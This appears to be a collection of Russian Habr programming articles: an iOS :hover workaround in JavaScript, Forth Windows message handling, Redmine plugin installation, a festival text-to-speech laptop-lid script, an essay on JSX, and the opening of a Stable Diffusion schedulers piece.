Самый яркий для меня пример, это обработка псевдокласса `:hover`. Для начала iOS7, например, не будет реагировать на hover если только на элемент, или его родителя, не навешена обработка события click. Это хорошо видно вот на этом примере: [jsfiddle.net/H8EmG](http://jsfiddle.net/H8EmG/) — сколько не тыкай пальцем в текст — никаких подчеркиваний не увидишь. А в этом примере [jsfiddle.net/H8EmG/1](http://jsfiddle.net/H8EmG/1/) «тычок» пальцем в текст будет приводить к его подчеркиванию. Интересный факт — пока не ткнем в другой элемент, текст так и будет сидеть под ховером…
Другой интересный пример, это обработка появления элементов «по-наведению»: [jsfiddle.net/ASRm9/1](http://jsfiddle.net/ASRm9/1/) Попробуйте нажать на текст. Сперва вы увидите текст «HOVER!», появившийся внутри строки, а вот второе нажатие уже вызовет `alert('click')`. Это происходит потому, что iOS понимает что за `:hover` что-то скрыто, и старается не сломать поведение, заложенное автором сайта.
Но однажды мы столкнулись с такой багой, объяснить которую мы не смогли до сих пор, а на ее локализацию потребовался не один день отладки на iPad… Желающие подробностей, а также хитрого, как мне кажется, способа решения, наверное, всех проблем с :hover разом — прошу под кат…
ВНЕЗАПНО, после очередного обновления сервиса, разработчиком «платформы» которого я являюсь, вскрылась неприятная проблема — на iPad нельзя выбрать ни одну строку практически во всех «таблицах», которые есть на сервисе. «Клик» просто не срабатывает! Надо заметить что «таблица» это не просто строчки и столбцы. В нашем случае это довольно «богатый» UI-элемент c отметками записей, сортировками, группировками, фильтрами, всякими «лесенками» выводом на печать и экспортом в PDF и Excel…
После долгой и нудной локализации проблемы мы выделили изолированный, простой кусок HTML+CSS который давал схожий результат…
* HTML-таблица, несколько строк, несколько столбцов
* В одном из столбцов есть «чекбокс» — `div` который скрыт по-умолчанию и показывается при наведении на строку. Реализован через `:hover`
* На строку навешен `click`
* Таблица имеет размер больше, чем ее контейнер
* Контейнер имеет фиксированный размер и у него включен `overflow: scroll`
Вот пример: [jsfiddle.net/822eG/4](http://jsfiddle.net/822eG/4/). Попробуйте понажимать по строкам таблицы. Hover будет срабатывать (вы увидите «чекбокс») а вот `click` (и `alert`) вы не увидите как не старайтесь наживать на строчки.
На эту тему я даже завел пост на SO [stackoverflow.com/questions/21786375/ios-7-hover-click-issue-no-click-triggered-in-some-cases](http://stackoverflow.com/questions/21786375/ios-7-hover-click-issue-no-click-triggered-in-some-cases) который не принес особого профита, кроме предложения включить (непонятно почему) `-webkit-overflow-scrolling: touch` на контейнере таблички который реально помогал на примере из jsFiddle, но не помогал на реальном приложении.
В процессе обдумывания этого бардака пришло следующее решение (мой собственный ответ на вопрос на SO) — а что, если `:hover` заменить на CSS-класс, который «накидывать» кодом, отлавливая `mouseenter`/`mouseleave`? Этот простой фикс на самом деле все решает. Даже работать начинает «веселее» — не надо больше кликать два раза. От первого же нажатия получаем и alert и «чекбокс»: [jsfiddle.net/822eG/10](http://jsfiddle.net/822eG/10/)
За неимением лучшего варианта стали обдумывать этот… На самом деле у нас очень большой code base. Много как «платформенного» кода, так и «прикладного», на этой платформе основанного. И кто его знает, кто, где и когда, при каких условиях захочет использовать :hover и захочет ли он при это он что-то скрыть или показать. В общем нужно чтобы было «все само (с)» а среднестатистический разработчик не думал о проблемах на iOS.
В итоге получилось следующее решение:
* С помощью `MutationObserver` (который есть в iOS 6-7) мониторим вставку тэгов `link` в `head` документа — мы это можем себе позволить, т.к. все стили у нас заведомо подключаются с помощью [require.js](http://requirejs.org/) и в Safari это гарантированно будет новый `link`
* При добавлении новых `link` пробежимся по `document.styleSheets` и проанализируем их...
* Переберем все правила и найдем среди них те, в селекторе которых присутствует `:hover`
* Посмотрим на стили для таких селекторов, проверим нет ли там `display` отличного от `none` и `visibility`, отличного от `visible`
* Если таковые найдутся — перепишем селектор, заменим `:hover` на `.hover` (т.е. псевдокласс на обычный класс)...
* А на body навесим через delegate обработку `mouseenter`/`mouseleave` для найденного селектора, точнее для той его части, которая расположена до `:hover`
К счастью сделать это оказалось совсем просто… Каждый `styleSheet` содержит коллекцию `rules`, в которой лежат собственно правила. Каждое правило обладает свойством `selectorText` которое можно менять на ходу. А также обладает коллекцией `style` где во-первых содержится набор свойств, заданных в данном стиле — они хранятся в виде «массива». У `style` есть `.length`, перебирая из по длине получим все свойства, измененные в данном стиле. Во-вторых в `style` содержатся значения измененных свойств. По индексу, равному имени свойства хранится значение свойства.
То есть если у нас, скажем, есть CSS-код:
```
.myClass:hover .block, .myItem:hover .element {
color: red;
display: block;
}
```
то у данного правила `selectorText == '.myClass:hover .block, .myItem:hover .element'`, `style.length == 2`, `style[0] == 'color'`, `style[1] == 'display'`, `style.color == 'red'` а `style.display == 'block'`.
Все остальное — дело техники…
К сожалению выяснилось, что первичны обход правил работает (на наших объемах стилей и link-тэгов) не очень быстро… Профилирование показало, что обращение к `rules` занимает львиную долю времени. Возможно, WebKit инициализирует данное свойство лениво и первое обращение инициирует какой-то глубинный парсинг стилей в набор объектов.
Вот что в итоге получилось:
```
$(document).ready(function(){
// константа, в которой мы определяем, под чем мы работаем
if (!$ws._const.browser.isMobileSafari) {
return;
}
var $body = $('body');
// добавляем класс при наведении
function addPseudoHover() {
this.classList.add('ws-pseudo-hover');
}
// удаляем класс при уходе "мыши"
function removePseudoHover() {
this.classList.remove('ws-pseudo-hover');
}
// Используем в [].filter(...)
function uniq(item, index, array) {
return array.indexOf(item, index + 1) == -1;
}
function trimHoverBase(selector) {
return selector.substr(0, selector.indexOf(':hover')).trim();
}
function filterHoverSelectors(selector) {
return selector.indexOf(':hover') != -1;
}
function createBodyDelegate(hoverSelector){
$body.delegate(hoverSelector, 'mouseenter', addPseudoHover);
$body.delegate(hoverSelector, 'mouseleave', removePseudoHover);
}
function processMutationRecord(mutationRecord) {
var needRefresh = false;
if (mutationRecord.addedNodes) {
for(var i = 0, l = mutationRecord.addedNodes.length; i < l; i++) {
if (mutationRecord.addedNodes[i].nodeName == 'LINK') {
needRefresh = true;
break;
}
}
}
if (needRefresh) {
checkStylesheetSetDebonuced(); // Не будем делать обработку слишком часто
}
}
function checkStylesheetSet() {
var
allHoverSelectors = [],
allRules = [],
sheet, sheetCheckResult;
for(var i = 0, l = document.styleSheets.length; i < l; i++) {
sheet = document.styleSheets[i];
// Проверим, что в стиле есть правила
if (sheet.processed || sheet.rules.length === 0) {
continue;
}
sheetCheckResult = checkCSSRuleSet(sheet);
if (sheetCheckResult.rules.length > 0 && sheetCheckResult.selectors.length > 0) {
Array.prototype.push.apply(allHoverSelectors, sheetCheckResult.selectors);
Array.prototype.push.apply(allRules, sheetCheckResult.rules);
}
// чтобы не обрабатывать один и тот же блок несколько раз
sheet.processed = true;
}
// замена селектора
allRules.forEach(function(aRule){
aRule.selectorText = aRule.selectorText.replace(':hover', '.ws-pseudo-hover');
});
// фильтруем уникальные селекторы, сорздаем делегатов на body
allHoverSelectors.map(trimHoverBase).filter(uniq).forEach(createBodyDelegate);
}
var checkStylesheetSetDebonuced = checkStylesheetSet.debounce(420);
function checkCSSRuleSet(sheet) {
var result = {
selectors: [],
rules: []
};
for(var i = 0, l = sheet.rules.length; i < l; i++) {
var rule = sheet.rules[i];
if (rule.styleSheet && rule.href /* instanceof CSSImportRule*/) {
// Не забываем про @import
checkCSSRuleSet(rule.styleSheet);
} else if (rule.selectorText /* instanceof CSSStyleRule*/) {
var hoverSelectors = getHoverSelectors(rule);
if (hoverSelectors.length > 0) {
if (checkStyles(rule)) {
Array.prototype.push.apply(result.selectors, hoverSelectors);
result.rules.push(rule);
}
}
}
}
return result;
}
function checkStyles(rule) {
for(var i = 0, l = rule.style.length; i < l; i++) {
var styleItem = rule.style[i];
if (styleItem == 'display' && rule.style.display !== 'none') {
return true;
}
if (styleItem == 'visibility' && rule.style.visibility !== 'hidden') {
return true;
}
}
return false;
}
function getHoverSelectors(rule) {
return rule.selectorText.split(',').filter(filterHoverSelectors);
}
// мониторим вставку новых детей в head
new MutationObserver(function(mutationRecords){
mutationRecords.forEach(processMutationRecord);
}).observe(document.getElementsByTagName('head')[0], {
childList: true
});
});
```
Немного ссылок:
* Поддержка MutationObserver — [caniuse.com/#feat=mutationobserver](http://caniuse.com/#feat=mutationobserver)
* Полезное свойство classList — [caniuse.com/#feat=classlist](http://caniuse.com/#feat=classlist) | https://habr.com/ru/post/212959/ | null | ru | null |
# Windows Forth +
### Конструирование оснастки для обработки оконных сообщений Windows
Язык Форт большинству кажется наименее подходящим, чтобы программировать на нем, да еще и под Windows. Ведь в нем нет никакой графики, только унылая черная текстовая консоль.
Попробуем преодолеть этот миф.
Во-первых, программировать под Windows оказывается очень легко, достаточно открыть любую инструкцию по WinAPI.
Во-вторых, сама Windows управляет всей своей графикой, нам достаточно лишь вызывать нужные функции и правильно обрабатывать сообщения.
Перед созданием окна необходимо создать свой класс. В структуре WNDCLASS есть поле WNDPROC lpfnWndProc, которое содержит ссылку на процедуру обработки сообщений, поступающих от окон данного класса.
Требования у Windows к данной процедуре несложные:
1) Если сообщение не обрабатывается процедурой, необходимо вызвать функцию DefWindowProc
2) Сохранить содержимое регистров rdi rsi rbx
Сделаем ассемблерную вставку. Нам нужна согласующая заглушка, которая будет вызывать процедуру, написанную на Форте. Обратно, если из высокоуровневой процедуры приходит сигнал о том, что сообщение не было обработано, вызвать DefWindowProc.
**winproc**
```
HEADER winproc HERE CELL+ ,
push_rcx push_rdx push_r8 push_r9 push_rbx push_rsi push_rdi
mov_rax,# hwnd , mov_[rax],rcx
mov_rax,# wmsg , mov_[rax],rdx
mov_rax,# wparam , mov_[rax],r8
mov_rax,# lparam , mov_[rax],r9
mov_rax,# ' inWinProc ,
mov_r11,# ' Push @ , call_r11
mov_r11,# ' EXECUTE @ , call_r11
mov_r11,# ' Pop @ , call_r11
test_rax,rax
jne forward>
pop_rdi pop_rsi pop_rbx pop_r9 pop_r8 pop_rdx pop_rcx
ret
>forward
pop_rdi pop_rsi pop_rbx pop_r9 pop_r8 pop_rdx pop_rcx
push_rcx push_rdx push_r8 push_r9 push_rbx push_rsi push_rdi
mov_r11,# ' DefWindowProcA CELL+ @ ,
sub_rsp,b# 0x 20 B,
call_r11
add_rsp,b# 0x 20 B,
pop_rdi pop_rsi pop_rbx pop_r9 pop_r8 pop_rdx pop_rcx
ret
```
Логика данного куска понятна без лишних комментариев.
1) Сохраним параметры в переменные
2) Вызовем высокоуровневую процедуру
3) Вызовем DefWindowProc, если получен не ноль
Теперь займемся высокоуровневой частью
Слово Форта само по себе является процедурой.
**Пример**
```
WORD: Messages
do_something
;WORD
```
Какое something мы должны do, сейчас и будем выяснять.
В ассемблерной вставке мы видим использование переменной wmsg. Она принимает параметр uMsg — номер сообщения Windows. Нам необходимо сравнить содержимое wmsg с номером нужного нам сообщения, и если это тот номер, обработать сообщение. Вернуть ноль, чтобы DefWindowProc не вызывалась.
**Проба**
```
WORD: Messages
wmsg @ hex, 201 (( WM_LBUTTONDOWN ) = If
1 Else
do_lbuttondown 0 Then
;WORD
```
Имеет право на существование. Но это приемлемо, когда надо обработать одно-два сообщения. Но неудобно, некрасиво, плохо сопровождаемо и не решает поставленную задачу. Ведь придется писать вложенные конструкции If Then, а это ужас-ужас в листинге.
**Некрасиво**
```
WORD: Messages
wmsg @ hex, 201 (( WM_LBUTTONDOWN ) = If
wmsg @ hex, 202 (( WM_LBUTTONUP ) = If
1 Else
do_lbuttonup 0 Then
Else
do_lbuttondown 0 Then
;WORD
```
Всего два сообщения, а приходится напрягаться чтобы быть уверенным что написано правильно.
К счастью, конструкция Case… Of… EndOf… EndCase реализуется довольно легко и существенно украшает код.
**Перепишем:**
```
WORD: Messages
Case
wmsg @ hex, 201 (( WM_LBUTTONDOWN ) = Of do_lbuttondown 0 EndOf
wmsg @ hex, 202 (( WM_LBUTTONUP ) = Of do_lbuttonup 0 EndOf
EndCase
;WORD
```
Гораздо приятнее читать и, если что, добавлять еще обработчики. Но все же можно лучше.
Во-первых, здесь постоянно повторяется wmsg @ и =.
Во-вторых, вставлять численные шестнадцатеричные значения констант как-то неэстетично. К тому же приходится писать комментарий, что это значение обозначает.
Пусть WM\_LBUTTONDOWN, WM\_LBUTTONUP и т.п. будут константами.
**A wmsg @ и = объединим в одно слово.**
```
WORD: (?wm)
wmsg @ =
;WORD
WORD: Messages
Case
WM_LBUTTONDOWN (?wm) Of do_lbuttondown 0 EndOf
WM_LBUTTONUP (?wm) Of do_lbuttonup 0 EndOf
EndCase
;WORD
```
Стало гораздо красивее и понятнее. Но все равно слишком много лишних слов в листинге.
**Если бы можно было писать**
```
Messages{{
WM_LBUTTONDOWN{{ do_lbuttondown }}
WM_LBUTTONUP{{ do_lbuttonup }}
}}Messages
```
Решим эту задачу.
Самое простое — это реализовать слово }}. Оно — почти эквивалент слова EndOf, просто к нему мы присовкупим слово 0.
**И...**
```
WORD: }}
0 EndOf
;WORD
```
А вот и нет. Слово EndOf немедленного исполнения. Вместо того, чтобы скомпилироваться, оно будет исполнено. Исполнено во время компиляции слова }}. А нам надо, чтобы оно исполнялось во время компиляции модуля обработки сообщений.
**Взглянем на реализацию EndOf**
```
WORD: EndOf
COMPILE BRANCH HERE >R COMPILE 0 THEN R>
;WORD
```
Воспользуемся его Величеством Копипастом и напишем… Но для начала учтем, что слово }} должно быть немедленного исполнения.
**Итак**
```
IMMEDIATES CURRENT !
WORD: EndOf
COMPILE 0 COMPILE BRANCH HERE >R COMPILE 0 THEN R>
;WORD
FORTH32 CURRENT !
```
Вставим слово }} на место 0 EndOf, и убедимся в его работоспособности.
Разберемся со словом }}Messages
Оно должно:
1) компилировать не ноль
2) выполнять EndCase
3) заканчивать компиляцию, аналогично ;WORD
Заметим, это слово немедленного исполнения.
**Написать его довольно просто:**
```
IMMEDIATES CURRENT !
WORD: }}Messages
COMPILE 1 (EndOf) ;Word quit ;WORD
;WORD
FORTH32 CURRENT !
```
А сейчас сконструируем открывающие слова. Начнем с Messages{{
Что оно должно делать?
4) запускать компиляцию
3) компилировать Case
2) делать адрес начала процедуры доступным вставке winproc
1) отмечать адрес, с которого начнется процедура обработки сообщений
Автоматическая компиляция запускается словом immediator. Оно заполняет поле параметров компилируемого слова соответственно исходному тексту. Полю параметров предшествует поле кода, которое в случае высокоуровневого определения должно содержать ссылку на адресный интерпретатор. Её нам дает константа interpret#. Слово Case суть синоним слова 0. Просто Case — немедленного исполнения, а 0 — обычное компилируемое слово.
**Напишем**
```
WORD: Messages{{
HERE ['] inWinProc CELL+ ! 0 interpret# , immediator
;WORD
```
Вызов inWinProc мы встречаем в ассемблерной вставке. Это так называемое векторное слово. Оно почти обычная константа, но вместо того, чтобы положить значение на стек, исполняет его.
Теперь самое интересное
**Определим слова WM\_LBUTTONDOWN{{ и WM\_LBUTTONUP{{**
```
IMMEDIATES CURRENT !
WORD: WM_LBUTTONDOWN{{
COMPILE WM_LBUTTONDOWN COMPILE (?wm) COMPILE ?OF HERE COMPILE 0
;WORD
WORD: WM_LBUTTONUP{{
COMPILE WM_LBUTTONUP COMPILE (?wm) COMPILE ?OF HERE COMPILE 0
;WORD
FORTH32 CURRENT !
```
Неужели придется для каждого сообщения копипастить этот код, исправляя лишь константу? Посмотрим повнимательнее. Код в каждом определении один и тот же, они различаются лишь именем и используемой константой. Эта константа является для последующего кода параметром. Схематично выглядит как x do\_something\_with\_x.
На наше счастье в Форте существует понятие определяющего слова. Которые и предназначены для таких случаев.
**Напишем**
```
WORD: WM:
CREATE , DOES> @ COMPILE (?wm) COMPILE ?OF HERE COMPILE 0
;WORD
```
**Как пользоваться**
```
IMMEDIATES CURRENT !
WM_LBUTTONDOWN WM: WM_LBUTTONDOWN{{
WM_LBUTTONUP WM: WM_LBUTTONUP{{
FORTH32 CURRENT !
```
Эээ… А зачем мы повторяем один и тот же текст слева и справа? И даже трижды. (Мы же определили ранее константы). Может быть стоит не определять константы, а сразу определять слова?
**Вот так**
```
0d 513 WM: WM_LBUTTONDOWN{{
0d 514 WM: WM_LBUTTONUP{{
```
И… Не работает. Посмотрим повнимательнее. Во-первых, все эти слова должны быть немедленного исполнения. То-есть они должны скомпилировать код после DOES> в тело Messages{{.
Эта часть: COMPILE (?wm) COMPILE ?OF HERE COMPILE 0 все делает правильно. Но сразу после DOES> мы получаем значение, скомпилированное во время создания слова WM\_L… А оно нам нужно во время исполнения слова Messages{{.
Нам надо всего-лишь скомпилировать это значение как литерал уже в тело Messages{{.
**Верный код**
```
WORD: WM:
CREATE , DOES> @ LIT, COMPILE (?wm) COMPILE ?OF HERE COMPILE 0
;WORD
```
Подытожим. Удобно выделить общую, заголовочную часть в отдельный файл.
**winuser.f**
```
WORD: Messages{{
HERE ['] inWinProc CELL+ ! 0 interpret# , immediator
;WORD
WORD: (?wm)
wmsg @ =
;WORD
WORD: WM:
CREATE ,
DOES> @ LIT, COMPILE (?wm) COMPILE ?OF HERE COMPILE 0
;WORD
IMMEDIATES CURRENT ! FORTH32 CONTEXT !
WORD: }}Messages
COMPILE 1 (EndCase) ;Word quit
;WORD
WORD: }}
COMPILE 0 COMPILE BRANCH HERE >R COMPILE 0 THEN R>
;WORD
0d 513 WM: WM_LBUTTONDOWN{{
0d 514 WM: WM_LBUTTONUP{{
0d 512 WM: WM_MOUSEMOVE{{
0d 15 WM: WM_PAINT{{
0d 16 WM: WM_CLOSE{{
FORTH32 CURRENT !
```
Файл **test.f**
```
INCLUDE: winuser.f
WORD: do_on_lbuttondown
do on left button down
;WORD
WORD: do_on_lbuttondup
do on left button up
;WORD
do someting else
Messages{{
WM_LBUTTONDOWN{{ do_on_lbuttondown }}
WM_LBUTTONUP{{ do_on_lbuttondup }}
}}Messages
EXIT
```
### Послесловие
Заметьте, несмотря на использования языка Форт, мы ни разу не вспомнили про стек и не встретили ни одного слова манипуляции со стеком. А еще мы спрятали не самую кошмарную структуру управления. Её не видно, хоть она и есть. код получился более описательный, чем процедурный. Ко всему прочему, код не требует комментариев, он сам читается как комментарий. Форт-система, написанная на Форте является сама себе справочником. Еще один нюанс. Для разработки своей программы вы можете использовать средства любого уровня. От встроенного ассемблера, даже ниже, вы можете внести во встроенный ассемблер недостающие опкоды и мнемоники и до создания высокоуровневых, обобщающих инструментов, позволяющих создавать компактный выразительный код. | https://habr.com/ru/post/324108/ | null | ru | null |
# Еще пара плагинов для Redmine
Ну а [мы](http://centos-admin.ru) продолжаем допиливать Redmine под свои нужды с целью повышения удобства работы и расширения функционала.
На этот раз было разработано 2 плагина: учет времени в проектах с почасовой оплатой и рейтинг сотрудников.
#### Плагин учета времени redmine\_centosadmin\_timing
С целью расширения услуг компании была введена система почасовых услуг. Это интересно для тех клиентов, кто не хочет постоянной поддержки и кому достаточно выполнять некоторые задачи по заявкам. В этом случае покупается пакет часов, который затем тратится по мере выполнения заявок.
Ставится плагин очень просто.
Клонируем код из репозитория в папку с плагинами.
В нашем случае выглядит так:
```
git clone git://github.com/olemskoi/redmine_centosadmin_timing.git /opt/redmine/plugins
```
Ставим необходимые гемы:
```
bundle install
```
Делаем миграцию плагина:
```
bundle exec rake redmine:plugins:migrate
```
Перезапускаем редмайн.
На странице выбора модулей в настройках проекта появился наш плагин:
На основной странице настроек проекта добавилось поле для указания предоплаченного запаса времени:
Теперь при любой активности в задачах проекта затраченное сотрудником время вычитается из предоплаченного запаса.
Когда запас достигнет остатка в 1 час, клиент получит почтовое уведомление об этом.
#### Плагин рейтинга сотрудников redmine\_centosadmin\_rating
Втрой плагин было решено разработать для удобства обратной связи. Чтобы клиент мог поставить оценку исполнителю, а так же прокомментировать его работу. Это помогает полнее понимать ситуацию о качестве обслуживания, позволяет руководителю сразу видеть вероятные конфликтные моменты. И, конечно, статистика по оценкам позволяет видеть качество работы сотрудников, что очень актуально стало при их количестве более 10 и при более, чем 150 проектах на поддержке. При меньших числах удавалось еще справляться вручную.
Итак, установка плагина так же максимально проста.
Клонируем код из репозитория в папку с плагином:
```
git clone git://github.com/olemskoi/redmine_centosadmin_rating.git /opt/redmine/plugins
```
Ставим гемы:
```
bundle install
```
Выполняем миграцию:
```
bundle exec rake redmine:plugins:migrate
```
Есть еще возможность включить уведомления о необходимости оценить закрытые задачи.
Если это требуется, то выполняем:
```
cd /opt/redmine/plugins/redmine_centosadmin_rating && whenever -i
```
Перезапускаем Redmine.
В списке модулей появился новый плагин:
При обновлении тикета появился новый блок:
По причине того, что исполнителей в тикете может быть несколько, оцениваемого исполнителя можно выбирать по усмотрению пользователя.
Все оценки и комментарии отражаются в самом тикете и на странице сводной активности в Redmine.
Средняя оценка пользователя отображается на его странице.
На данный момент есть еще несколько задумок по плагинам, буду писать о них по мере реализации.
За помощь в разработке выражаю благодарность компании [Kernel Web](http://kerweb.ru) в общем и Максиму Конину в частности.
Автор: Александр Хаустов, технический директор [centos-admin.ru](http://centos-admin.ru/) | https://habr.com/ru/post/231445/ | null | ru | null |
# Озвучка закрытия и открытия крышки ноутбука и синтез речи в Ubuntu
Можно заставить ноутбук разговаривать при открытии и закрытии крышки, это поднимет настроение вам и повеселит ваших друзей.
Выглядеть это будет примерно так: [видео на youtube](http://www.youtube.com/watch?v=0282dCSCTbQ).
Причем речь мы будем синтезировать, то есть, вы пишите текст, а ноутбук будет это произносить. Естественно, таким образом вы сможете настроить, что именно будет произносить ваш ноутбук, когда вы закрываете крышку.
Приступим:
**ноль**. Для начала установим программу, которая синтезирует речь, то есть преобразует введённый текст в голос. Программа эта называется festival.
*Примечание: В Ubuntu 8.04.1 уже установлена программа espeak для синтеза речи, но её качество произношения оставляет желать лучшего. Чтобы послушать как она синтезирует речь, наберите в терминале:
`espeak "hello"`
Если вас удовлетворяет и такое качество звучания, то можете не устанавливать festival. В этом случае просто замените строки в последующем скрипте:
`echo "closed" | festival --tts;
echo "opened" | festival --tts;`
на свои:
`espeak "closed";
espeak "opened";`*
Программа festival есть в официальном репозитории Ubuntu, для её установки, выполните в терминале следующие команды поочерёдно:
`sudo apt-get install festival
sudo apt-get install speech-tools`
После того как программа festival установлена, необходимо установить голоса, которыми она сможет говорить. Установим британский английский язык (мужской голос), для этого в терминале набираем:
`sudo apt-get install festvox-rablpc16k`
Пока что русского языка в официальном репозитории нет, так что я довольствовался английским, но если вас заинтересовал вопрос синтеза речи, то можно установить и русский скачав [с этого сайта](http://festlang.berlios.de/docu/doku.php?id=russian) архив и распаковав в нужную папку.
Теперь можно проверить, работает ли синтез речи, для этого в терминале набираем:
`echo "hello" | festival --tts`
После этого вы должны услышать голос, который произносит «hello».
Если возникли какие-либо ошибки, то действуйте по обстоятельствам, чтобы их исправить. Например, у меня возникла следующая проблема `Linux: can't open /dev/dsp`, для исправления этого нужно набрать в терминале (из домашней директории):
`printf ";use ALSA\n(Parameter.set 'Audio_Method 'Audio_Command)\n(Parameter.set 'Audio_Command \"aplay -q -c 1 -t raw -f s16 -r \$SR \$FILE\")\n" > .festivalrc`
([Решение проблемы взято отсюда](http://ubuntuforums.org/showthread.php?t=171182))
Приступайте к следующему шагу только после того, как у вас получится синтезировать речь.
**1**. Открываем для редактирования файл `/etc/acpi/lid.sh`, для этого набираем в терминале:
`sudo gedit /etc/acpi/lid.sh`
**2**. Добавляем в этот файл после строки `#!/bin/bash` следующий текст:
`grep -q closed /proc/acpi/button/lid/LID/state
if [ $? = 0 ]
then
echo “**closed**” | festival –tts;
else
echo “**opened**” | festival –tts;
fi`
Выделенный жирным текст как раз и будет произноситься. Естественно вы вольны вписать туда любой свой текст, например, при закрытии: “What are you doing, idiot?” =).
Сохраните и закройте файл.
Всё готово, теперь ноутбук будет радовать вас своим ангельским пением каждый раз, когда вы открываете или закрываете его крышку.
*Примечание для тех, кто хоть чуть чуть разбирается в скриптах: естественно вы вольны запускать любую программу после закрытия/открытия крышки, например в оригинале статьи предлагается проигрывать wav файлы с помощью программы mplayer.*
Идея взята [отсюда](http://ubuntuforums.org/showthread.php?t=563687).
PS: Пост решил опубликовать чтобы разбавить тематику «Юмор на Хабрахабре», а то народ жалуется что Хабр на себя последнее время не похож. Я сам относительно недавно зарегистрировавшийся, надеюсь у меня получилось. Также немного пропиарю [свой блог](http://aidsoid.org), посвященный в основном тематике Linux Ubuntu. [Добро пожаловать](http://aidsoid.org)! | https://habr.com/ru/post/38012/ | null | ru | null |
# JSX: антипаттерн или нет?
Довольно часто приходится слышать, что React и особенно JSX-шаблоны – это плохо, и хороший разработчик так не делает. Однако нечасто объясняется, *чем именно* вредит смешивание верстки и шаблонов в одном файле. И с этим мы попробуем сегодня разобраться.
Подход "каждой технологии свой файл" использовался с начала существования веба, поэтому неудивительно, что слом этого шаблона вызывает отторжение некоторых разработчиков. Но перед тем, как заявлять "нет, мы так делать не будем никогда", будет полезно разобраться истории и понять, почему JSX пользоваться можно, а смешивать скрипты и html – нет.
### История
С самого начала Веб состоял только из статических HTML-страниц. Вы открывали адрес, сервер возвращал контент страницы. Верстка, стили, скрипты – все было в общей куче.
Однако по мере усложнения сайтов появилась необходимость переиспользовать стили и скрипты на разных страницах. Со временем подход "CSS и JS отдельно от HTML" стал общей рекомендацией. Особенно при условии, когда HTML генерируется серверным движком, в отличие от CSS и JS файлов, которые меняются только при разработке и отдаются сервером как есть. Разделение контента на статический и динамический позволяет пользователю загружать меньше данных, за счет кеширования, а разработчику удобнее редактировать статические файлы, а не искать куски Javascript в шаблонах используемой CMS.
Со временем стало появляться все больше одностраничных веб-приложений, где основная часть логики сосредоточена на клиентской стороне. На любой URL сервер отдает один и тот же статичный HTML, а Javascript код в браузере пользователя определяет текущий адрес и делает запрос на сервер за нужными данными. При клике на ссылку, страница не перезагружается целиком, а лишь обновляется URL, а Javascript-код делает новый запрос для следующей страницы.
Появление веб-приложений в корне поменяло подход к разработке. Появились новые специальные фреймворки, предназначенные для создания веб-приложений с большим количеством кода и сложной логикой пользовательского интерфейса. Рендеринг данных теперь происходит на клиенте, в ресурсах страницы хранятся статические html-шаблоны, которые натягиваются на данные полученные с сервера.
Наиболее подходящим способом организации такой массы кода стал компонентный подход. Каждый более или менее независимый блок оформляется в отдельный компонент, со своими стилями, шаблоном и Javascript, а потом из этих блоков собирается страница целиком.
Этот подход реализуется большинством современных JS-фреймворков, но с одним отличием: Angular, Ember и Marionette поощряют создание отдельного файла с шаблоном, а React предлагает писать HTML внутри JS. И это становится красной тряпкой для некоторых разработчиков.
### Шаблон и компонент
А в чем смысл создания отдельного файла с шаблоном? Часто приводится довод: разделить разные сущности, *потому что так правильно*. Хотя исторически причиной отделения HTML и JS было разделение статики и динамики, что уже неактуально для рендеринга на клиенте
Итак, насколько же компонент и его шаблон разные? Возьмем фрагмент кода
Линиями показаны взаимосвязи, в которых изменение изменения одного файла затронут и другой. Если бы это была связь между двумя JS-модулями, рефакторинг напрашивается сам собой. Но для view и шаблона так не делают, потому что это *неправильно*.
Некоторое время назад, в других условиях, смешивание HTML и JS было нежелательным, и до сих пор разработчики слепо следуют тому правилу. Но при рендеринге на клиенте ситуация не такая, кроме того, изначально рекомендовалось вынести JS из HTML, но не HTML из JS.
А насколько это вредит в реальному проекту? Попробуем провести эксперимент и объединить шаблон с JS:
```
import Marionette from 'backbone.marionette';
import {warningText} from '../constants';
export default Marionette.ItemView.extend({
template(templateData) {
const {title, img_url, count} = templateData;
const isSelected = this.model.isSelected();
const isOverLimit = this.model.get('count') > this.model.get('maxAvailable')
return `
### ${title}
-
+
${isOverLimit ? warningText : ''}
`;
},
events: {
'click btn-less': 'onLessClick',
'click btn-more': 'onMoreClick'
}
});
```
Благодаря появлению в EcmaScript6 template strings, создание встроенных шаблонов стало приятнее. Подсветка HTML внутри строки так же настраивается. А по сравнению с прошлым примером, кода стало меньше за счет удаления прослойки, которая готовила данные в шаблон.
Так стоит ли так делать в своих проектах с использованием не React? Скорее всего, нет, потому что они не заточены на такой стиль. Но я надеюсь, что теперь стало понятнее, что встраивание HTML в код компонента не так уж плохо и приносит пользу в некоторых случаях. | https://habr.com/ru/post/311226/ | null | ru | null |
# Эксперименты со Schedulers в Stable Diffusion
В этой статье разберём, что есть scheduler в диффузионных моделях и как можно подменять их, пользуясь возможностями библиотеки diffusers.
Stable Diffusion
----------------
Для начала пару слов и картинок о рассматриваемой модели. Stable Diffusion успел нашуметь в 2022 году, и, кажется, многие новости будут связаны с этим в будущем. Модель эта примечательна в первую очередь тем, что способна по текстовому запросу, наподобие запроса к поисковику, выдавать картинки в высоком качестве, с проработанными деталями и, во многих случаях, отражающими суть текстового запроса. И, что немало важно, часто превосходя качество генерации с помощью GAN.
![Пример работы SD ver. 1.5 [https://lexica.art/?prompt=80fabd79-fecf-47a1-acfc-559b2e8494dc]](https://habrastorage.org/r/w1560/getpro/habr/upload_files/40c/13e/6f2/40c13e6f2a962784587cdb86be5840ec.png "Пример работы SD ver. 1.5 [https://lexica.art/?prompt=80fabd79-fecf-47a1-acfc-559b2e8494dc]")Пример работы SD ver. 1.5 [https://lexica.art/?prompt=80fabd79-fecf-47a1-acfc-559b2e8494dc]Немного о подходах. Подход к генерации изображения из текста называется text2image. Кроме него Stable Diffusion (и аналогичные ей проприетарные модели: dalle2, imagen и midjourney) способны генерировать:
* image2image, когда входная картинка и запрос используются как отправная точка для генерации нового изображения,
* image inpainting, когда с картинкой вдобавок на вход подается маска, где на изображении требуется генерация, а где нет,
* upscaling, этот подход похож на image2image, тоже на вход картинка, но на выходе не модификация ее под текстовый запрос, а изображение в увеличенном разрешении.
Тут стоит отметить, что это не всё, что уже можно делать с помощью Stable Diffusion. В качестве отправной точки можно взглянуть на другие пайплайны по ссылке <https://huggingface.co/docs/diffusers/api/pipelines/stable_diffusion>.
### Генерация с помощью Stable Diffusion
Немного разберём составные части пайплайна работы модели, чтобы познакомиться с тем, с чем мы будем экспериментировать далее.
